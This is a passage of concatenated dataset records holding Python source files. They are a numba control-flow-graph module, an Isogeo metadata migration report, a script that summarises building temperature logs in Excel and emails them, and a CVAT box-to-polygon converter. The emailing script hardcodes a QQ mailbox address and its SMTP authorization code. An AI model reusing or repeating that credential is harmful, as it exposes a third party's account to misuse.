self.blocks_reads = {}\n self.blocks_writes = {}\n self.blocks_writer = {}\n self.blocks_dom = {}\n self.blocks_reaching = {}\n\n def add_block (self, key, value = None):\n self.blocks[key] = value\n if key not in self.blocks_in:\n self.blocks_in[key] = set()\n self.blocks_out[key] = set()\n self.blocks_reads[key] = set()\n self.blocks_writes[key] = set()\n self.blocks_writer[key] = {}\n\n def add_edge (self, from_block, to_block):\n self.blocks_out[from_block].add(to_block)\n self.blocks_in[to_block].add(from_block)\n\n @classmethod\n def build_cfg (cls, code_obj, *args, **kws):\n ret_val = cls(*args, **kws)\n opmap = opcode.opname\n ret_val.crnt_block = 0\n ret_val.code_len = len(code_obj.co_code)\n ret_val.add_block(0)\n ret_val.blocks_writes[0] = set(range(code_obj.co_argcount))\n last_was_jump = True # At start there is no prior basic block\n # to link up with, so skip building a\n # fallthrough edge.\n for i, op, arg in itercode(code_obj.co_code):\n if i in ret_val.blocks:\n if not last_was_jump:\n ret_val.add_edge(ret_val.crnt_block, i)\n ret_val.crnt_block = i\n last_was_jump = False\n method_name = \"op_\" + opmap[op]\n if hasattr(ret_val, method_name):\n last_was_jump = getattr(ret_val, method_name)(i, op, arg)\n del ret_val.crnt_block, ret_val.code_len\n return ret_val\n\n # NOTE: The following op_OPNAME methods are correct for Python\n # semantics, but may be overloaded for Numba-specific semantics.\n\n def op_FOR_ITER (self, i, op, arg):\n self.add_block(i)\n self.add_edge(self.crnt_block, i)\n self.add_block(i + arg + 3)\n self.add_edge(i, i + arg + 3)\n self.add_block(i + 3)\n self.add_edge(i, i + 3)\n self.crnt_block = i\n return False\n\n def op_JUMP_ABSOLUTE (self, i, op, arg):\n self.add_block(arg)\n self.add_edge(self.crnt_block, arg)\n self.add_block(i + 3)\n return True\n\n def op_JUMP_FORWARD (self, i, op, arg):\n target = i + arg + 3\n self.add_block(target)\n self.add_edge(self.crnt_block, target)\n self.add_block(i + 3)\n return True\n\n def op_JUMP_IF_FALSE_OR_POP (self, i, op, arg):\n raise NotImplementedError('FIXME')\n\n op_JUMP_IF_TRUE_OR_POP = op_JUMP_IF_FALSE_OR_POP\n\n def op_LOAD_FAST (self, i, op, arg):\n self.blocks_reads[self.crnt_block].add(arg)\n return False\n\n def op_POP_JUMP_IF_FALSE (self, i, op, arg):\n self.add_block(i + 3)\n self.add_block(arg)\n self.add_edge(self.crnt_block, i + 3)\n self.add_edge(self.crnt_block, arg)\n return True\n\n op_POP_JUMP_IF_TRUE = op_POP_JUMP_IF_FALSE\n\n def op_RETURN_VALUE (self, i, op, arg):\n if i + 1 < self.code_len:\n self.add_block(i + 1)\n return True\n\n def op_SETUP_LOOP (self, i, op, arg):\n self.add_block(i + 3)\n self.add_edge(self.crnt_block, i + 3)\n return True # This is not technically a jump, but we've\n # already built the proper CFG edges, so skip the\n # fallthrough plumbing.\n\n def _writes_local (self, block, write_instr_index, local_index):\n self.blocks_writes[block].add(local_index)\n block_writers = self.blocks_writer[block]\n old_index = block_writers.get(local_index, -1)\n # This checks for a corner case that would impact\n # numba.translate.Translate.build_phi_nodes().\n assert old_index != write_instr_index, (\n \"Found corner case for STORE_FAST at a CFG join!\")\n block_writers[local_index] = max(write_instr_index, old_index)\n\n def op_STORE_FAST (self, i, op, arg):\n self._writes_local(self.crnt_block, i, arg)\n return False\n\n def compute_dataflow (self):\n '''Compute the dominator and reaching dataflow relationships\n in the CFG.'''\n blocks = set(self.blocks.keys())\n nonentry_blocks = blocks.copy()\n for block in blocks:\n self.blocks_dom[block] = blocks\n self.blocks_reaching[block] = set((block,))\n if len(self.blocks_in[block]) == 0:\n self.blocks_dom[block] = set((block,))\n nonentry_blocks.remove(block)\n changed = True\n while changed:\n changed = False\n for block in nonentry_blocks:\n olddom = self.blocks_dom[block]\n newdom = set.intersection(*[self.blocks_dom[pred]\n for pred in self.blocks_in[block]])\n newdom.add(block)\n if newdom != olddom:\n changed = True\n self.blocks_dom[block] = newdom\n oldreaching = self.blocks_reaching[block]\n newreaching = set.union(\n *[self.blocks_reaching[pred]\n for pred in self.blocks_in[block]])\n newreaching.add(block)\n if newreaching != oldreaching:\n changed = True\n self.blocks_reaching[block] = newreaching\n return self.blocks_dom, self.blocks_reaching\n\n def update_for_ssa (self):\n '''Modify the blocks_writes map to reflect phi nodes inserted\n for static single assignment representations.'''\n joins = [block for block in self.blocks.iterkeys()\n if len(self.blocks_in[block]) > 1]\n changed = True\n while changed:\n changed = False\n for block in joins:\n phis_needed = self.phi_needed(block)\n for affected_local in phis_needed:\n if affected_local not in self.blocks_writes[block]:\n changed = True\n # NOTE: For this to work, we assume that basic\n # blocks are indexed by their instruction\n # index in the VM bytecode.\n self._writes_local(block, block, affected_local)\n\n def idom (self, block):\n '''Compute the immediate dominator (idom) of the given block\n key. Returns None if the block has no in edges.\n\n Note that in the case where there are multiple immediate\n dominators (a join after a non-loop branch), this returns one\n of the predecessors, but is not guaranteed to reliably select\n one over the others (depends on the ordering of the set type\n iterator).'''\n preds = self.blocks_in[block]\n npreds = len(preds)\n if npreds == 0:\n ret_val = None\n elif npreds == 1:\n ret_val = tuple(preds)[0]\n else:\n ret_val = [pred for pred in preds\n if block not in self.blocks_dom[pred]][0]\n return ret_val\n\n def block_writes_to_writer_map (self, block):\n ret_val = {}\n for local in self.blocks_writes[block]:\n ret_val[local] = block\n return ret_val\n\n def get_reaching_definitions (self, block):\n '''Return a nested map for the given block\n s.t. ret_val[pred][local] equals the block key for the\n definition of local that reaches the argument block via that\n predecessor.\n\n Useful for actually populating phi nodes, once you know you\n need them.'''\n has_memoized = hasattr(self, 'reaching_definitions')\n if has_memoized and block in self.reaching_definitions:\n ret_val = self.reaching_definitions[block]\n else:\n preds = self.blocks_in[block]\n ret_val = {}\n for pred in preds:\n ret_val[pred] = self.block_writes_to_writer_map(pred)\n crnt = self.idom(pred)\n while crnt != None:\n crnt_writer_map = self.block_writes_to_writer_map(crnt)\n # This order of update favors the first definitions\n # encountered in the traversal since the traversal\n # visits blocks in reverse execution order.\n crnt_writer_map.update(ret_val[pred])\n ret_val[pred] = crnt_writer_map\n crnt = self.idom(crnt)\n if not has_memoized:\n self.reaching_definitions = {}\n self.reaching_definitions[block] = ret_val\n return ret_val\n\n def nreaches (self, block):\n '''For each local, find the number of unique reaching\n definitions the current block has.'''\n # Slice and dice the idom tree so that each predecessor claims\n # at most one definition so we don't end up over or\n # undercounting.\n preds = self.blocks_in[block]\n idoms = {}\n idom_writes = {}\n # Fib a little here to truncate traversal in loops if they are\n # being chased before the actual idom of the current block has\n # been handled.\n visited = preds.copy()\n for pred in preds:\n idoms[pred] = set((pred,))\n idom_writes[pred] = self.blocks_writes[pred].copy()\n # Traverse up the idom tree, adding sets of writes as we\n # go.\n crnt = self.idom(pred)\n while crnt != None and crnt not in visited:\n idoms[pred].add(crnt)\n idom_writes[pred].update(self.blocks_writes[crnt])\n visited.add(crnt)\n crnt = self.idom(crnt)\n all_writes = set.union(*[idom_writes[pred] for pred in preds])\n ret_val = {}\n for local in all_writes:\n ret_val[local] = sum((1 if local in idom_writes[pred] else 0\n for pred in preds))\n return ret_val\n\n def phi_needed (self, join):\n '''Return the set of locals that will require a phi node to be\n generated at the given join.'''\n nreaches = self.nreaches(join)\n return set([local for local in nreaches.iterkeys()\n if nreaches[local] > 1])\n\n def pprint (self, *args, **kws):\n pprint.pprint(self.__dict__)\n\n def to_dot (self, graph_name = None):\n '''Return a dot (digraph visualizer in Graphviz) graph\n description as a string.'''\n if graph_name is None:\n graph_name = 'CFG_%d' % id(self)\n lines_out = []\n for block_index in self.blocks:\n lines_out.append(\n 'BLOCK_%r [shape=box, label=\"BLOCK_%r\\\\nr: %r, w: %r\"];' %\n (block_index, block_index,\n tuple(self.blocks_reads[block_index]),\n tuple(self.blocks_writes[block_index])))\n for block_index in self.blocks:\n for out_edge in self.blocks_out[block_index]:\n lines_out.append('BLOCK_%r -> BLOCK_%r;' %\n (block_index, out_edge))\n return 'digraph %s {\\n%s\\n}\\n' % (graph_name, '\\n'.join(lines_out))\n\n# ______________________________________________________________________\n\ndef main (*args, **kws):\n import getopt, importlib\n def get_module_member (member_path):\n ret_val = None\n module_split = member_path.rsplit('.', 1)\n if len(module_split) > 1:\n module = importlib.import_module(module_split[0])\n ret_val = getattr(module, module_split[1])\n return ret_val\n opts, args = getopt.getopt(args, 'dC:D:')\n kws.update(opts)\n dot_out = None\n cls = ControlFlowGraph\n for opt_key, opt_val in kws.iteritems():\n if opt_key == '-d':\n dot_out = sys.stdout\n elif opt_key in ('-D', 'dot'):\n dot_out = open(opt_val, \"w\")\n elif opt_key in ('-C', 'cfg_cls'):\n cls = get_module_member(opt_val)\n for arg in args:\n func = get_module_member(arg)\n if func is None:\n print(\"Don't know how to handle %r, expecting \"\n \"arguments. Skipping...\" % (arg,))\n elif not hasattr(func, 'func_code'):\n print(\"Don't know how to handle %r, module member does not \"\n \"have a code object. Skipping...\" % (arg,))\n else:\n cfg = cls.build_cfg(func.func_code)\n cfg.compute_dataflow()\n if dot_out is not None:\n dot_out.write(cfg.to_dot())\n else:\n cfg.pprint()\n\n# ______________________________________________________________________\n\nif __name__ == \"__main__\":\n import sys\n main(*sys.argv[1:])\n\n# ______________________________________________________________________\n# End of cfg.py\n", "sub_path": "numba/cfg.py", "file_name": "cfg.py", "file_ext": "py", "file_size_in_byte": 13544, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "opcode.opname", "line_number": 51, "usage_type": "attribute"}, {"api_name": "utils.itercode", "line_number": 59, "usage_type": "call"}, {"api_name": "pprint.pprint", "line_number": 286, "usage_type": "call"}, {"api_name": "importlib.import_module", "line_number": 314, "usage_type": "call"}, {"api_name": "getopt.getopt", "line_number": 317, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 323, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 348, "usage_type": "attribute"}]} +{"seq_id": "597971386", "text": "# -*- coding: UTF-8 -*-\n#! python3\n\n\"\"\"\n Name: Script to migration report for \"SIG50\" workgroup metadatas\n Author: Isogeo\n Purpose: Script using the migrations-toolbelt package to perform metadata matching.\n Logs are willingly verbose.\n Python: 3.7+\n\"\"\"\n\n# ##############################################################################\n# ########## Libraries #############\n\n# Standard Library\nimport logging\nfrom logging.handlers import RotatingFileHandler\nfrom os import environ\nfrom pathlib import Path\nfrom timeit import default_timer\nfrom datetime import datetime\nimport csv\n\n# 3rd party\nfrom dotenv import load_dotenv\nfrom halo import Halo\n\n# Isogeo\nfrom isogeo_pysdk import Isogeo\n\n# load .env file\nload_dotenv(\"./env/manche.env\", override=True)\n\nif __name__ == \"__main__\":\n # instanciate log\n # logs\n logger = logging.getLogger()\n # ------------ Log & debug ----------------\n logging.captureWarnings(True)\n logger.setLevel(logging.INFO)\n\n log_format = logging.Formatter(\n \"%(asctime)s || %(levelname)s \"\n \"|| %(module)s - %(lineno)d ||\"\n \" %(funcName)s || %(message)s\"\n )\n\n # debug to the file\n log_file_handler = RotatingFileHandler(\n Path(\"./scripts/manche/_logs/create_migration_report_2021.log\"),\n \"a\",\n 5000000,\n 1,\n )\n log_file_handler.setLevel(logging.INFO)\n log_file_handler.setFormatter(log_format)\n\n # info to the console\n log_console_handler = logging.StreamHandler()\n log_console_handler.setLevel(logging.INFO)\n log_console_handler.setFormatter(log_format)\n\n logger.addHandler(log_file_handler)\n logger.addHandler(log_console_handler)\n\n # Retrieve informations about Isogeo ressources from .env file\n wg_uuid = environ.get(\"ISOGEO_ORIGIN_WORKGROUP\")\n src_cat_uuid = environ.get(\"ISOGEO_CATALOG_SOURCE\")\n src_cat_tag = \"catalog:{}\".format(src_cat_uuid)\n\n # ##################################################################################\n # prepare csv reading\n csv_input_path = Path(r\"./scripts/manche/csv/Migration_Serveur_SIG50_avecIds.csv\")\n readCSV_spinner = Halo(text=\"Fetching infos from '{}' file...\".format(csv_input_path), spinner='dots')\n readCSV_spinner.start()\n fieldnames = [\n \"Name\",\n \"Status\",\n \"IsogeoId\"\n ]\n\n # Fetching info from csv file\n li_tup = []\n li_scanned_md_uuid = []\n with csv_input_path.open() as csvfile:\n reader = csv.DictReader(csvfile, delimiter=\";\", fieldnames=fieldnames)\n\n for row in reader:\n data_name = row.get(\"Name\", \"NR\")\n status = row.get(\"Status\", \"NR\")\n md_uuid = row.get(\"IsogeoId\", \"\")\n\n if reader.line_num > 1 and md_uuid != \"\":\n li_tup.append(\n (\n data_name, status, md_uuid\n )\n )\n li_scanned_md_uuid.append(md_uuid)\n else:\n pass\n\n readCSV_spinner.text = \"{} records fetched from '{}' file.\".format(len(li_tup), csv_input_path)\n readCSV_spinner.succeed()\n\n # ##################################################################################\n\n # API client instanciation\n auth_spinner = Halo(text='Authenticating to Isogeo API...', spinner='dots')\n auth_spinner.start()\n isogeo = Isogeo(\n client_id=environ.get(\"ISOGEO_API_USER_LEGACY_CLIENT_ID\"),\n client_secret=environ.get(\"ISOGEO_API_USER_LEGACY_CLIENT_SECRET\"),\n auth_mode=\"user_legacy\",\n auto_refresh_url=\"{}/oauth/token\".format(environ.get(\"ISOGEO_ID_URL\")),\n platform=environ.get(\"ISOGEO_PLATFORM\", \"qa\"),\n )\n isogeo.connect(\n username=environ.get(\"ISOGEO_USER_NAME\"),\n password=environ.get(\"ISOGEO_USER_PASSWORD\"),\n )\n auth_timer = default_timer()\n\n wg = isogeo.workgroup.get(wg_uuid)\n\n auth_spinner.text = \"Authentication to Isogeo API succeed.\"\n auth_spinner.succeed()\n\n # ##################################################################################\n\n search_spinner = Halo(text=\"Searching for '{}' workgroup metadatas...\".format( wg.name), spinner='dots')\n search_spinner.start()\n\n src_search = isogeo.search(\n group=wg._id,\n whole_results=True,\n include=(\"tags\", )\n )\n li_md = [md for md in src_search.results if md.get(\"name\")]\n\n search_spinner.text = \"{} metadatas found into '{}' workgroup.\".format(len(li_md), wg.name)\n search_spinner.succeed()\n\n isogeo.close()\n\n # # ##################################################################################\n\n report_spinner = Halo(text=\"Looking for new or missing metadatas...\", spinner='dots')\n report_spinner.start()\n\n app_base_url = \"https://app.isogeo.com/groups/{}/resources/\".format(wg._id)\n csv_content = []\n nb_new = 0\n nb_missing = 0\n for md in li_md:\n if src_cat_tag in md.get(\"tags\") and md.get(\"_id\") not in li_scanned_md_uuid:\n nb_missing += 1\n csv_content.append(\n [\n md.get(\"title\", \"NR\"),\n md.get(\"name\"),\n md.get(\"_id\"),\n \"missing\",\n app_base_url + md.get(\"_id\") + \"/identification\"\n ]\n )\n elif md.get(\"_id\") in li_scanned_md_uuid and src_cat_tag not in md.get(\"tags\"):\n nb_new += 1\n csv_content.append(\n [\n md.get(\"title\", \"NR\"),\n md.get(\"name\"),\n md.get(\"_id\"),\n \"new\",\n app_base_url + md.get(\"_id\") + \"/identification\"\n ]\n )\n else:\n pass\n\n report_spinner.text = \"{} missing and {} new metadatas detected.\".format(nb_missing, nb_new)\n report_spinner.succeed()\n\n # ##################################################################################\n\n writeCSV_spinner = Halo(text='Writing report table...', spinner='dots')\n writeCSV_spinner.start()\n\n csv_report_path = Path(\"./scripts/manche/csv/report_migration_{}.csv\".format(int(datetime.now().timestamp())))\n with open(csv_report_path, \"w\", newline=\"\") as csvfile:\n writer = csv.writer(csvfile, delimiter=\";\")\n writer.writerow(\n [\n \"title\",\n \"name\",\n \"uuid\",\n \"issue\",\n \"app_url\"\n ]\n )\n for data in csv_content:\n writer.writerow(data)\n\n writeCSV_spinner.text = \"Report table writed into {} CSV file.\".format(csv_report_path)\n writeCSV_spinner.succeed()\n", "sub_path": "scripts/manche/create_migration_report_2021.py", "file_name": "create_migration_report_2021.py", "file_ext": "py", "file_size_in_byte": 6696, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "dotenv.load_dotenv", "line_number": 32, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 37, "usage_type": "call"}, {"api_name": "logging.captureWarnings", "line_number": 39, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 40, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 42, "usage_type": "call"}, {"api_name": "logging.handlers.RotatingFileHandler", "line_number": 49, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 50, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 55, "usage_type": "attribute"}, {"api_name": "logging.StreamHandler", "line_number": 59, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 60, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 67, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 67, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 68, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 68, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 73, "usage_type": "call"}, {"api_name": "halo.Halo", "line_number": 74, "usage_type": "call"}, {"api_name": "csv.DictReader", "line_number": 86, "usage_type": "call"}, {"api_name": "halo.Halo", "line_number": 109, "usage_type": "call"}, {"api_name": "isogeo_pysdk.Isogeo", "line_number": 111, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 112, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 112, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 113, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 113, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 115, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 115, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 116, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 116, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 119, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 119, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 120, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 120, "usage_type": "name"}, {"api_name": "timeit.default_timer", "line_number": 122, "usage_type": "call"}, {"api_name": "halo.Halo", "line_number": 131, "usage_type": "call"}, {"api_name": "halo.Halo", "line_number": 148, "usage_type": "call"}, {"api_name": "halo.Halo", "line_number": 186, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 189, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 189, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 189, "usage_type": "name"}, {"api_name": "csv.writer", "line_number": 191, "usage_type": "call"}]} +{"seq_id": "517384140", "text": "# -*- coding: utf-8 -*-\n# @Author: 曾辉\n'''\n简单的统计每日进入人数和温度，并且将详细信息通过邮件发出\n'''\nimport xlwt\nimport xlrd\nimport numpy as np\nimport datetime\nfrom xlutils.copy import copy\n# smtplib 用于邮件的发信动作\nimport smtplib\n# email 用于构建邮件内容\nfrom email.mime.text import MIMEText\n# 用于构建邮件头\nfrom email.header import Header\n# 在邮件发送中创建一个带附件的实例\nfrom email.mime.multipart import MIMEMultipart\n\ndef get_excel(source_xls,save_path):\n\t'''\n\n\t:param source_xls: 文档的路径\n\t:return:\n\t'''\n\tdata = xlrd.open_workbook(source_xls)\n\n\t# 创建一个新的工作簿\n\twb = xlwt.Workbook()\n\t# 把读取到的工作簿的内容全部复制到 新的工作簿上\n\twb = copy(data)\n\n\tfor i in range(len(data.sheets())):\n\t\ttable = data.sheets()[i] # 对应的获取 工作表的内容\n\t\t# 获取第2列的温度的数据，并且求平均温度，平均人数，以及异常的人数(温度>=37.4)\n\t\ttemp_value = table.col_values(colx=1, start_rowx=1) # 把标题除外了\n\t\ttemp_ndarray = np.array(temp_value)\n\t\tabnormal = np.argwhere(temp_ndarray >= 37.4)\n\t\t# 判断是否为空的工作表\n\t\tif table.nrows == 0: continue\n\t\t# 每日的汇总统计\n\t\tnow_time = datetime.datetime.now().strftime('%Y-%m-%d') # 把datetime转变为字符串\n\t\tresult = '备注:\\n 时间：{}\\n总进出人数:{}\\n异常人数:{}\\n平均温度:{}'.format(now_time, len(temp_value), len(abnormal),\n\t\t np.mean(temp_ndarray))\n\t\t# print(now_time)\n\t\trow_index = len(temp_value) + 2 # 与数据空 两行的位置\n\t\tcol_index = 0\n\t\twokrsheet = wb.get_sheet(i) # 访问当前的工作表 然后进行操作\n\t\t# 合并单元表，并且把result写在下面\n\t\twokrsheet.write_merge(row_index, row_index + 1, col_index, 2, result)\n\n\t\t# 将异常人的这一行信息都变为高亮\n\t\t# 高亮的格式\n\t\tstyle = xlwt.XFStyle()\n\t\tpattern = xlwt.Pattern()\n\t\tpattern.pattern = xlwt.Pattern.SOLID_PATTERN # May be: NO_PATTERN, SOLID_PATTERN, or 0x00 through 0x12\n\t\tpattern.pattern_fore_colour = 5\n\t\t# 0 = Black, 1 = White, 2 = Red, 3 = Green, 4 = Blue, 5 = Yellow,\n\t\tstyle.pattern = pattern\n\n\t\t# 首先要获取异常人的所有信息\n\t\ttime_list = []\n\t\tfor j in abnormal:\n\t\t\trown = j[0] # 行\n\t\t\tfor col in range(table.ncols): # table.ncols 工作表的列数\n\t\t\t\tcontent = table.cell_value(rown + 1, col) # 把要标题算上\n\n\t\t\t\tif col == 2:\n\t\t\t\t\t# style.num_format_str = 'M/D/YY' # 第二列的时候才是时间的格式\n\t\t\t\t\t# wokrsheet.write(rown + 1, col,content,style)\n\t\t\t\t\t# style.num_format_str = ''\n\t\t\t\t\ttime_list.append((content, (rown + 1, col)))\n\t\t\t\telse:\n\t\t\t\t\twokrsheet.write(rown + 1, col, content, style)\n\n\t\t# style.num_format_str = 'M/D/YY' 时间的格式会导致 数字显示不正常\n\n\t\tstyle.num_format_str = 'M/D/YY'\n\t\tfor t in time_list:\n\t\t\twokrsheet.write(t[1][0], t[1][1], t[0], style)\n\n\twb.save(save_path)\n\ndef post_excel_email(excel_path,email_content,email_title):\n\t# 发信服务器\n\tsmtp_server = 'smtp.qq.com'\n\n\t# 发信方的信息：发信邮箱，QQ邮箱授权码 # 不需要你QQ邮箱的密码,需要授权码就行\n\tfrom_addr = '919762350@qq.com'\n\tpassword = 'jjtrwaudfrgebbgj'\n\n\t# 收信方邮箱\n\tto_addr = '919762350@qq.com'\n\tmsg = MIMEMultipart()\n\tmsg.attach(MIMEText(email_content, 'plain', 'utf-8')) # 放入邮箱的正文\n\n\t# 创建邮箱的附件\n\n\t# 读取本地的文件内容;构造附件\n\tatt = MIMEText(open(excel_path, 'rb').read(), 'based64', 'utf-8')\n\tatt['Content-Type'] = 'application/octet-stream'\n\tatt['Content-Disposition'] = 'attachment; filename = \"day_report.xls\"'\n\n\t# 在把附件附上去\n\tmsg.attach(att)\n\n\t# 邮件头信息\n\tmsg['From'] = Header(from_addr)\n\tmsg['To'] = Header(to_addr)\n\tmsg['Subject'] = Header(email_title)\n\n\t# 开启发信服务，这里使用的是加密传输\n\tserver = smtplib.SMTP_SSL(host='smtp.qq.com')\n\t# 连接服务器 ,这里是QQ邮箱的端口\n\tserver.connect(host='smtp.qq.com', port=465)\n\t# 登录发信邮箱\n\tserver.login(from_addr, password)\n\t# 发送邮件\n\tserver.sendmail(from_addr, to_addr, msg.as_string())\n\t# 关闭服务器\n\tserver.quit()\n\n\nif __name__=='__main__':\n\tsource_xls = '楼宇安防.xls'\n\tsave_path ='楼宇安防_日报.xls'\n\texcel_path = save_path\n\temail_content = '国贸大厦今日统计的进出人数以及温度情况。详细内容见附件'\n\temail_title = '日报'\n\tget_excel(source_xls,save_path)\n\t# 发送邮箱 ，包含附件\n\tpost_excel_email(excel_path, email_content, email_title)\n", "sub_path": "excel/作业/auto_send_emai.py", "file_name": "auto_send_emai.py", "file_ext": "py", "file_size_in_byte": 4561, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "xlrd.open_workbook", "line_number": 26, "usage_type": "call"}, {"api_name": "xlwt.Workbook", "line_number": 29, "usage_type": "call"}, {"api_name": "xlutils.copy.copy", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.argwhere", "line_number": 38, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 42, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 42, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 44, "usage_type": "call"}, {"api_name": "xlwt.XFStyle", "line_number": 54, "usage_type": "call"}, {"api_name": "xlwt.Pattern", "line_number": 55, "usage_type": "call"}, {"api_name": "xlwt.Pattern", "line_number": 56, "usage_type": "attribute"}, {"api_name": "email.mime.multipart.MIMEMultipart", "line_number": 94, "usage_type": "call"}, {"api_name": "email.mime.text.MIMEText", "line_number": 95, "usage_type": "call"}, {"api_name": "email.mime.text.MIMEText", "line_number": 100, "usage_type": "call"}, {"api_name": "email.header.Header", "line_number": 108, "usage_type": "call"}, {"api_name": "email.header.Header", "line_number": 109, "usage_type": "call"}, {"api_name": "email.header.Header", "line_number": 110, "usage_type": "call"}, {"api_name": "smtplib.SMTP_SSL", "line_number": 113, "usage_type": "call"}]} +{"seq_id": "243071850", "text": "import logging\nimport os\n\nlogging.basicConfig(level=logging.INFO)\nimport skimage.draw as skdraw\nimport scipy.spatial as ss\nimport argparse\nimport typing\nimport numpy as np\nfrom xml.etree import ElementTree as ET\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\"xml_file\", type=argparse.FileType('r'))\nparser.add_argument(\"output_file\", type=str)\nargs = parser.parse_args()\n\ntree: ET.ElementTree = ET.parse(args.xml_file)\n\nimages: typing.List[ET.Element] = tree.findall(\"image\")\nlogging.info(f\"Image count: {len(images)}\")\n\n\ndef get_spaced_elements(array, numElems=4):\n out = array[np.round(np.linspace(0, len(array) - 1, numElems)).astype(int)]\n return out\n\ndef coordinate_string(rr,cc):\n if rr.shape != cc.shape:\n raise Exception(\"RR and CC shape not matching\")\n\n out = \"\"\n for r, c in zip(rr, cc):\n out = out + f\"{c},{r};\"\n out = out[:-1]\n return out\nfor i, image in enumerate(images):\n logging.info(f\"Processing image {i}\")\n\n rects: typing.List[ET.Element] = image.findall(\"box\")\n width = int(image.attrib[\"width\"])\n height = int(image.attrib[\"height\"])\n logging.info(f\"Found {len(rects)} boxes\")\n\n for j, rect in enumerate(rects):\n logging.info(f\"Processing rect {j}\")\n\n children = rect.getchildren()\n attrs: typing.Dict = rect.attrib\n\n xtl = float(attrs.pop(\"xtl\"))\n ytl = float(attrs.pop(\"ytl\"))\n xbr = float(attrs.pop(\"xbr\"))\n ybr = float(attrs.pop(\"ybr\"))\n xc = (xtl + xbr) / 2\n yc = (ytl + ybr) / 2\n xr = xbr - xtl\n yr = ybr - ytl\n rr, cc = skdraw.ellipse_perimeter(int(yc), int(xc), int(yr / 2), int(xr / 2), shape=(height, width))\n hull = ss.ConvexHull(np.array((rr,cc)).T)\n rr = rr[hull.vertices]\n cc = cc[hull.vertices]\n n = 10\n rr = get_spaced_elements(rr, n)\n cc = get_spaced_elements(cc, n)\n\n attrs[\"points\"]=coordinate_string(rr,cc)\n image.remove(rect)\n subs:ET.Element = ET.SubElement(image, \"polygon\", attrs)\n subs.extend(children)\n\nlogging.info(f\"Writing XML to {args.output_file}\")\ntree.write(args.output_file, \"utf-8\", short_empty_elements=False)", "sub_path": "rect2segment.py", "file_name": "rect2segment.py", "file_ext": "py", "file_size_in_byte": 2184, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "logging.basicConfig", "line_number": 4, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 4, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 12, "usage_type": "call"}, {"api_name": "argparse.FileType", "line_number": 14, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.ElementTree", "line_number": 18, "usage_type": "attribute"}, {"api_name": "xml.etree.ElementTree", "line_number": 18, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 18, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 20, "usage_type": "attribute"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 20, "usage_type": "attribute"}, {"api_name": "xml.etree.ElementTree", "line_number": 20, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 25, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 38, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 40, "usage_type": "attribute"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 40, "usage_type": "attribute"}, {"api_name": "xml.etree.ElementTree", "line_number": 40, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 43, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 46, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 49, "usage_type": "attribute"}, {"api_name": "skimage.draw.ellipse_perimeter", "line_number": 59, "usage_type": "call"}, {"api_name": "skimage.draw", "line_number": 59, "usage_type": "name"}, {"api_name": "scipy.spatial.ConvexHull", "line_number": 60, "usage_type": "call"}, {"api_name": "scipy.spatial", "line_number": 60, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 60, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 69, "usage_type": "attribute"}, {"api_name": "xml.etree.ElementTree", "line_number": 69, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.SubElement", "line_number": 69, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 72, "usage_type": "call"}]} +{"seq_id": "284438049", "text": "import pandas as pd \nimport numpy as np\nimport json\nimport gzip\nimport tarfile\nimport glob\nimport tracemalloc\n\n\ndef process_a_year(folderPath:str, year:int) -> tuple:\n # 